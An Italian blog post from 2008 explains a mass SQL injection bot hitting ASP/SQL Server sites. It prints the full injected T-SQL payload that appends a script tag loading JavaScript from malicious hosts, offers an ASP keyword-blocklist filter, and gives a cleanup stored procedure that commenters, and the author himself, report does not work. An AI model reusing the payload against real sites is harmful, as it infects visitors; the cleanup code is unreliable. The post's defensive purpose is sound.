BigThink

Il web sotto attacco con SQL injection!

Nell’ultima settimana, oltre un milione di siti sono stati attaccati da un bot che ha iniettato nei loro database un codice maligno che infetta i computer degli utenti che visitano i siti in questione.

Un attacco massiccio: se cercate su Google le stringhe www.nihaorr1.com/1.js, www.adw95.com/b.js o www.banner82.com/b.js, troverete centinaia di migliaia di siti infettati da questo maledetto programma!

Il bot utilizza gli indici di Google per trovare i siti sviluppati in ASP e tenta su ognuno di essi un attacco sql injection, andando ad appendere una serie di comandi SQL alla querystring della pagina. Ad esempio qualcosa di simile: http://www.miosito.com/default.asp?pag=4;DECLARE @S VARCHAR(4000);SET
@S=CAST...

Nello specifico, ecco l’intero codice che viene accodato all’url:

1
DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['[email protected]+'] SET ['[email protected]+']=RTRIM(CONVERT(VARCHAR(4000),['[email protected]+']))+''< scri pt src=http://www.ad w95.com/b.js>‘') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

L’effetto è devastante: ad ogni campo di ogni tabella viene aggiunto il codice <script src=http://www.adw95.com/b.js>, che verrà quindi richiamato in tutte le pagine del sito. Quando l’utente naviga nel sito, senza che se ne accorga viene caricato un javascript che a sua volta crea un iframe invisibile che carica una pagina contenente sicuramente un trojan o simile.

Sono affetti da questa vulnerabilità solamente i siti ASP che utilizzano SQL Server e quindi permettono di eseguire più query consecutive, separate col punto e virgola.

Come difendersi? Solitamente, per prevenire questo tipo di attacchi si crede sia sufficiente effettuare un replace dell’apostrofo nelle variabili da inserire nel database. In questo caso, tuttavia, l’unico modo per contrastare l’iniezione è quello di filtrare determinate parole chiave. Includete questo codice all’inizio di ogni pagina:

1
2
3
4
5
6
7
8
9
10
dim regEx, item
set regEx = New RegExp
regEx.Pattern = "banner82|nihaorr1|adw95|xp_|;|--|/\*|<script|</script|ntext|nchar|nvarchar|alter|begin|create|cursor|declare|delete|drop|exec|execute|fetch|insert|kill|open|sys|sysobjects|syscolumns|table|update|varchar"
regEx.IgnoreCase = true
regEx.Multiline = true
For Each item in Request.QueryString
    If regEx.test(Request.QueryString(item)) Then
        Response.redirect "/default.asp"
    End IF
Next

In pratica controlla uno ad uno tutti i parametri passati via GET e, se trova una delle parole listate, esegue il redirect alla homepage.

Chiuso l’accesso, rimane un secondo problema: bisogna ripulire tutto il database dalle stringhe incriminate! Per fare ciò, potete utilizzare la seguente stored procedure per il replace delle stringhe:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
CREATE PROC SearchTableStrReplaceg
(
     @SearchStr nvarchar(100),
     @TableStr nvarchar(100)
 
)
AS
BEGIN
 
     -- Copyright © 2002 Narayana Vyas Kondreddi. All rights reserved.
     -- Purpose: To search all columns of all tables for a given search string
     -- Written by: Narayana Vyas Kondreddi
     -- Site: http://vyaskn.tripod.com
     -- Tested on: SQL Server 7.0 and SQL Server 2000
     -- Date modified: 28th July 2002 22:50 GMT
 
 
     CREATE TABLE #Results (ColumnName nvarchar(370), ColumnValue nvarchar(3630))
 
     SET NOCOUNT ON
 
     DECLARE @TableName nvarchar(256), @ColumnName nvarchar(128), @SearchStr2 nvarchar(110), @fieldlen integer
     SET  @TableName = ''
     SET @SearchStr2 = QUOTENAME('%' + @SearchStr + '%','''')
     SET @fieldlen =LEN(@SearchStr2)
     WHILE @TableName IS NOT NULL
     BEGIN
          SET @ColumnName = ''
          SET @TableName =
          (
               SELECT MIN(QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME))
               FROM      INFORMATION_SCHEMA.TABLES
               WHERE           TABLE_TYPE = 'BASE TABLE' AND TABLE_NAME = @TableStr
                    AND     QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME) > @TableName
                    AND     OBJECTPROPERTY(
                              OBJECT_ID(
                                   QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME)
                                    ), 'IsMSShipped'
                                     ) = 0
          )
 
          WHILE (@TableName IS NOT NULL) AND (@ColumnName IS NOT NULL)
          BEGIN
               SET @ColumnName =
               (
                    SELECT MIN(QUOTENAME(COLUMN_NAME))
                    FROM      INFORMATION_SCHEMA.COLUMNS
                    WHERE           TABLE_SCHEMA     = PARSENAME(@TableName, 2)
                         AND     TABLE_NAME     = PARSENAME(@TableName, 1)
                         AND     DATA_TYPE IN ('text', 'ntext')
                         AND     QUOTENAME(COLUMN_NAME) > @ColumnName
               )
     
               IF @ColumnName IS NOT NULL
               BEGIN
                         UPDATE  VendorProducts SET @ColumnName= SUBSTRING(@ColumnName , 0,PATINDEX(@SearchStr2 , @ColumnName)-1)
                         WHERE PATINDEX(@SearchStr2, @ColumnName) > 0
               END
          END    
     END
 
     SELECT ColumnName, ColumnValue FROM #Results
END

Per farla partire, chiamatela con:

Exec SearchAllTables '<script src=http://www.banner82.com/b.js></script>',''
GO

Chiaramente, sostituite l’url dello script con quello che vi ha attaccato.

Nota: prima fixate la vulnerabilità e solo allora ripulite il database, perchè il bot è sempre allerta: se vi ha preso di mira continuerà a bombardarvi con codici maligni e più li togliete, più lui vi attaccherà. Il primo codice che vi ho postato dovrebbe riuscire a fermarlo.

Sistemate il sito quanto prima, perchè se Google scopre che siete “portatori di maleware”, segnalerà il vostro sito come non sicuro con un antipatico: “Avviso- se visiti questo sito il tuo computer potrebbe subire danni!” che vanificherà i vostri sforzi di indicizzazione.

Articolo scritto da Ghido

Fondatore di BigThink.it, si occupa dello sviluppo e del coordinamento dei progetti tecnologici. Specializzato nel Marketing su Facebook e nello sviluppo di Applicazioni Social, fa consulenza e formazione ad aziende ed agenzie.

Leggi anche...

Gestire infiniti livelli di categorie in SQL

Gestire infiniti livelli di categorie in SQL

Una caratteristica tipica che, come programmatori, ci capiterà di dover implementare è la gestione di un'alberatura di categorie e sottocategorie. Esistono diversi modi di strutturare il database: quello più comune consiste nello creare una tabella categories, con le colonne id, nome, parent ed eventualmente level. Per poter poi stampare a video il nostro albero, ...
Le mie foto calde

Le mie foto calde

Tranquilli, non ho aperto una nuova nuova gallery con me nudo (vi piacerebbe, eh?), è solo l'ennesimo virus che si sta recentemente diffondendo su Windows Live Messenger. La dinamica. Mentre state chattando con un vostro caro amico (meglio se amica), questa vi scrive: "le mie foto calde :P", seguito da un file zip con ...
Il mio blog WordPress è stato hackerato!

Il mio blog WordPress è stato hackerato!

Ebbene sì, ieri ho scoperto che BigThink è stato oggetto di un attacco hacker andato a buon fine. Qualche settimana fa un amico mi ha avvisato che sulle pagine del mio blog vedeva un bannerone che pubblicizzava un sito di spam. Subito sono corso a controllare, ma sembrava tutto normale. Ho chiesto in giro ...

12 Commenti

  1. Ghido

    [Comment ID #824 Will Be Quoted Here]
    No, Access non presenta questa vulnerabilità, perchè non permette di eseguire query consecutive in un colpo solo.

    9 ottobre 2008, 16:42
  2. camalkan

    Salve,
    vale anche per i DB in access ?? Ovvero, sono infettati anche questi ? e il codice da inserire ad inizio pagina ve bene ugualmente ??
    Grazie

    9 ottobre 2008, 10:11
  3. Ghido

    [Comment ID #487 Will Be Quoted Here]
    Azz, questo non lo sapevo. Grazie per la precisazione.

    Certo che ha fatto davvero una strage questo dannato bot!

    20 luglio 2008, 22:01
  4. fabio

    Attenzione, ripulendo i campi rimane il problema dei testi tagliati. Il codice maligno taglia tutti i campi a 4000 caratteri, se avete campi tipo ntext il contenuto è compromesso, l’ unico modo per rimediare è prendere i backUp.

    20 luglio 2008, 21:55
  5. Giovanni

    Non funziona perchè viene fatto l’update di VendorProducts che penso sia una tabella del db da dove è stato estratto la stored procedure. Al posto di VendorProducts deve essere messa la variabile @TableName, a me ha dato comunque un errore.
    Comunque secondo me il modo migliore è riprendere il codice iniettato dal bot e modicare l’update in modo che cancella la parte script ad esempio si può fare una replace(”,”)

    12 luglio 2008, 11:47
  6. Ghido

    [Comment ID #435 Will Be Quoted Here]
    Spero possano comunque tornare utili

    10 luglio 2008, 10:39
  7. P

    Grazie per le informazioni!

    10 luglio 2008, 10:31
  8. Ghido

    [Comment ID #360 Will Be Quoted Here]
    Effettivamente non l’ho testato, è una stored procedure per il replace di stringhe che ho trovato online e presumevo funzionasse…

    Il primo script in ASP invece l’ho scritto io e funziona perfettamente 😉

    30 giugno 2008, 13:09
  9. Franz

    Non funziona nemmeno a me….

    Ciao
    Franz

    25 giugno 2008, 12:04
  10. Credo ci sia un errore nella descrizione delle procedure:
    – dici di creare la stored SearchTableStrReplaceg
    – ma poi dici di eseguire la SearchAllTables
    … da dove salta fuori?
    Comunque ho provato ad eseguirla da MMC/query analyzer e non funziona.
    Ho provato anche ad applicare le autorizzazioni di esecuzione ma le tabelle restano come prima.
    Hai trovato qualcosa che non va di recente?
    ciao
    Luca

    19 giugno 2008, 17:05

2 Citazioni